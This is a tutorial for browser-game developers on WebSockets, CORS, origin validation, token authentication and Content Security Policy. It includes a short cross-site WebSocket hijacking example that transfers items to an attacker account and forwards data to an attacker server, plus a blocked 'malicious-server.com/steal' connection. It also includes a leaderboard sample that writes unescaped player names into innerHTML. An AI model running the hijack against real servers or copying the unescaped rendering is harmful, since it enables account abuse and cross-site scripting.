WebSockets are essential for real-time features in browser games—multiplayer gameplay, live leaderboards, chat systems, and more. Unlike regular HTTP requests, WebSockets have a unique relationship with CORS that every game developer should understand. This guide covers how WebSockets interact with browser security policies and how to implement them safely in your games.
Table of Contents
- WebSockets and the Same-Origin Policy
- Why WebSockets Bypass CORS
- Security Implications
- Implementing Secure WebSockets
- Server-Side Origin Validation
- Content Security Policy
- Common Game Scenarios
- Troubleshooting Connection Issues
WebSockets and the Same-Origin Policy
The Same-Origin Policy (SOP) is a fundamental browser security feature that restricts how documents or scripts from one origin can interact with resources from another origin. However, WebSockets have a different relationship with SOP than traditional HTTP requests.
Key Difference from HTTP
When you make an HTTP request (fetch, XMLHttpRequest), the browser:
- Sends the request to the server
- Receives the response
- Checks for CORS headers
- Blocks the response if CORS headers are missing
With WebSockets:
- The browser initiates an HTTP upgrade request
- The connection upgrades to WebSocket protocol (WS/WSS)
- No CORS headers are checked on the response
- The connection proceeds regardless of origin
The Upgrade Process
// Client-side WebSocket connection
const socket = new WebSocket('wss://gameserver.example.com/ws');
// This triggers an HTTP request like:
// GET /ws HTTP/1.1
// Host: gameserver.example.com
// Upgrade: websocket
// Connection: Upgrade
// Origin: https://mygame.com
// Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
// Sec-WebSocket-Version: 13
The server responds with:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Notice: No Access-Control-Allow-Origin header is involved.
Why WebSockets Bypass CORS
CORS is specifically designed for HTTP responses. The restriction works by examining response headers before delivering data to JavaScript. WebSockets operate differently:
- Different Protocol: After the initial handshake, communication happens over WS/WSS, not HTTP
- No Response Headers: There’s no HTTP response to check for CORS headers
- Bidirectional by Design: WebSockets are meant for persistent, two-way communication
What This Means for Games
Your browser game can open WebSocket connections to any server, regardless of origin. This is convenient for connecting to game servers but creates security considerations.
// These all work without CORS issues
const gameServer = new WebSocket('wss://game1.example.com/play');
const chatServer = new WebSocket('wss://chat.differentdomain.com/room');
const leaderboard = new WebSocket('wss://scores.thirdparty.com/live');
Security Implications
Cross-Site WebSocket Hijacking (CSWSH)
Because WebSockets bypass SOP, a malicious website could potentially:
- Open a WebSocket to your game server
- Use the victim’s cookies/credentials
- Perform actions as the authenticated user
This is similar to Cross-Site Request Forgery (CSRF) but more dangerous because it’s bidirectional—the attacker can also receive data.
Example Attack Scenario
// On evil-site.com
const socket = new WebSocket('wss://legitimate-game.com/api');
socket.onopen = () => {
// If cookies are sent, attacker might be authenticated
socket.send(JSON.stringify({
action: 'transfer_items',
to: 'attacker_account'
}));
};
socket.onmessage = (event) => {
// Attacker receives the response
const data = JSON.parse(event.data);
sendToAttackerServer(data);
};
Browser Protections
Modern browsers have implemented protections:
- Third-Party Cookie Blocking: Firefox’s Total Cookie Protection isolates cookies per site
- Private Network Access: Chrome (130+) blocks connections from public sites to private IPs
- SameSite Cookies: Cookies marked
SameSite=StrictorSameSite=Laxaren’t sent on cross-site WebSocket connections
Implementing Secure WebSockets
Client-Side Implementation
class SecureGameSocket {
constructor(serverUrl, authToken) {
this.serverUrl = serverUrl;
this.authToken = authToken;
this.socket = null;
this.reconnectAttempts = 0;
this.maxReconnects = 5;
}
connect() {
// Always use WSS (WebSocket Secure) in production
if (!this.serverUrl.startsWith('wss://') &&
window.location.protocol === 'https:') {
console.error('Use WSS for secure connections');
return;
}
this.socket = new WebSocket(this.serverUrl);
this.socket.onopen = () => {
// Send authentication token instead of relying on cookies
this.authenticate();
this.reconnectAttempts = 0;
};
this.socket.onclose = (event) => {
if (!event.wasClean && this.reconnectAttempts < this.maxReconnects) {
this.reconnectAttempts++;
setTimeout(() => this.connect(), 1000 * this.reconnectAttempts);
}
};
this.socket.onerror = (error) => {
console.error('WebSocket error:', error);
};
}
authenticate() {
// Send token-based auth instead of cookies
this.send({
type: 'auth',
token: this.authToken
});
}
send(data) {
if (this.socket?.readyState === WebSocket.OPEN) {
this.socket.send(JSON.stringify(data));
}
}
}
Token-Based Authentication
Instead of relying on cookies (which can be sent cross-site), use tokens:
// Login via regular HTTP, receive token
async function login(username, password) {
const response = await fetch('https://game.example.com/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
});
const { token } = await response.json();
// Store token securely
sessionStorage.setItem('gameToken', token);
return token;
}
// Connect WebSocket with token
function connectToGame() {
const token = sessionStorage.getItem('gameToken');
const socket = new SecureGameSocket('wss://game.example.com/ws', token);
socket.connect();
return socket;
}
Server-Side Origin Validation
Since browsers send the Origin header on WebSocket upgrade requests, servers should validate it.
Node.js with ws Library
const WebSocket = require('ws');
const http = require('http');
const allowedOrigins = [
'https://mygame.com',
'https://www.mygame.com',
'http://localhost:3000' // Development only
];
const server = http.createServer();
const wss = new WebSocket.Server({ noServer: true });
server.on('upgrade', (request, socket, head) => {
const origin = request.headers.origin;
// Validate origin
if (!allowedOrigins.includes(origin)) {
socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
socket.destroy();
console.log(`Rejected connection from origin: ${origin}`);
return;
}
wss.handleUpgrade(request, socket, head, (ws) => {
wss.emit('connection', ws, request);
});
});
wss.on('connection', (ws, request) => {
console.log(`Connected from: ${request.headers.origin}`);
// Wait for authentication
ws.isAuthenticated = false;
ws.on('message', (message) => {
const data = JSON.parse(message);
if (data.type === 'auth') {
ws.isAuthenticated = validateToken(data.token);
if (!ws.isAuthenticated) {
ws.close(4001, 'Invalid token');
}
} else if (!ws.isAuthenticated) {
ws.close(4002, 'Not authenticated');
} else {
handleGameMessage(ws, data);
}
});
});
server.listen(8080);
Express with Socket.io
const express = require('express');
const http = require('http');
const { Server } = require('socket.io');
const app = express();
const server = http.createServer(app);
const io = new Server(server, {
cors: {
origin: ['https://mygame.com', 'http://localhost:3000'],
methods: ['GET', 'POST'],
credentials: false // Don't allow cookies
}
});
// Authentication middleware
io.use((socket, next) => {
const token = socket.handshake.auth.token;
if (!token) {
return next(new Error('Authentication required'));
}
try {
const user = verifyToken(token);
socket.user = user;
next();
} catch (err) {
next(new Error('Invalid token'));
}
});
io.on('connection', (socket) => {
console.log(`User connected: ${socket.user.id}`);
socket.on('game_action', (data) => {
// Handle authenticated game actions
});
});
Content Security Policy
Use CSP headers to restrict which WebSocket servers your game can connect to:
HTTP Header
Content-Security-Policy: connect-src 'self' wss://gameserver.example.com wss://chat.example.com;
HTML Meta Tag
<meta http-equiv="Content-Security-Policy"
content="connect-src 'self' wss://gameserver.example.com;">
Implementation
// This will work
const allowed = new WebSocket('wss://gameserver.example.com/play');
// This will be blocked by CSP
const blocked = new WebSocket('wss://malicious-server.com/steal');
// Error: Refused to connect to 'wss://malicious-server.com/steal'
// because it violates the following Content Security Policy directive:
// "connect-src 'self' wss://gameserver.example.com"
Common Game Scenarios
Real-Time Multiplayer
class MultiplayerClient {
constructor() {
this.socket = null;
this.playerId = null;
this.gameState = {};
}
connect(serverUrl, authToken) {
this.socket = new WebSocket(serverUrl);
this.socket.onopen = () => {
this.socket.send(JSON.stringify({
type: 'join',
token: authToken
}));
};
this.socket.onmessage = (event) => {
const message = JSON.parse(event.data);
this.handleMessage(message);
};
}
handleMessage(message) {
switch (message.type) {
case 'joined':
this.playerId = message.playerId;
this.onJoined(message.gameState);
break;
case 'player_move':
this.updatePlayerPosition(message.playerId, message.position);
break;
case 'game_state':
this.gameState = message.state;
this.onStateUpdate();
break;
}
}
sendMove(position) {
this.socket.send(JSON.stringify({
type: 'move',
position: position
}));
}
}
Live Leaderboard
class LiveLeaderboard {
constructor(elementId) {
this.element = document.getElementById(elementId);
this.socket = null;
}
connect(serverUrl) {
this.socket = new WebSocket(serverUrl);
this.socket.onmessage = (event) => {
const data = JSON.parse(event.data);
if (data.type === 'leaderboard_update') {
this.render(data.scores);
}
};
}
render(scores) {
this.element.innerHTML = scores
.slice(0, 10)
.map((score, i) => `
<div class="score-row">
<span class="rank">${i + 1}</span>
<span class="name">${score.playerName}</span>
<span class="score">${score.value}</span>
</div>
`)
.join('');
}
}
In-Game Chat
class GameChat {
constructor(serverUrl) {
this.socket = new WebSocket(serverUrl);
this.messageHandlers = [];
this.socket.onmessage = (event) => {
const message = JSON.parse(event.data);
this.messageHandlers.forEach(handler => handler(message));
};
}
onMessage(handler) {
this.messageHandlers.push(handler);
}
send(text) {
// Sanitize on both client and server
const sanitized = this.sanitize(text);
this.socket.send(JSON.stringify({
type: 'chat',
text: sanitized,
timestamp: Date.now()
}));
}
sanitize(text) {
return text
.slice(0, 500) // Limit length
.replace(/[<>]/g, ''); // Remove HTML
}
}
Troubleshooting Connection Issues
Connection Refused
socket.onerror = (error) => {
console.error('WebSocket error:', error);
// Check: Is the server running? Is the port open?
};
Mixed Content (HTTP/HTTPS)
Mixed Content: The page was loaded over HTTPS, but attempted to connect
to the insecure WebSocket endpoint 'ws://...'
Solution: Always use wss:// when your game is served over HTTPS.
function getWebSocketUrl(path) {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
return `${protocol}//${window.location.host}${path}`;
}
Connection Closed Unexpectedly
socket.onclose = (event) => {
console.log(`Connection closed: ${event.code} - ${event.reason}`);
// Common codes:
// 1000: Normal closure
// 1001: Going away (page unload)
// 1006: Abnormal closure (no close frame received)
// 4000-4999: Application-specific errors
};
Debugging with Browser DevTools
- Open DevTools → Network tab
- Filter by “WS” to see WebSocket connections
- Click on a connection to see messages
- Check the “Frames” tab for sent/received data
Conclusion
WebSockets provide powerful real-time capabilities for browser games, and their ability to bypass CORS makes cross-domain connections straightforward. However, this comes with security responsibilities:
- Always validate the Origin header on your server
- Use token-based authentication instead of cookies
- Implement Content Security Policy to restrict allowed connections
- Always use WSS (encrypted) in production
For HTTP requests that still need CORS handling (like REST APIs alongside WebSockets), services like corsproxy.io can help bridge the gap. But for WebSocket connections themselves, focus on proper server-side security rather than relying on browser restrictions.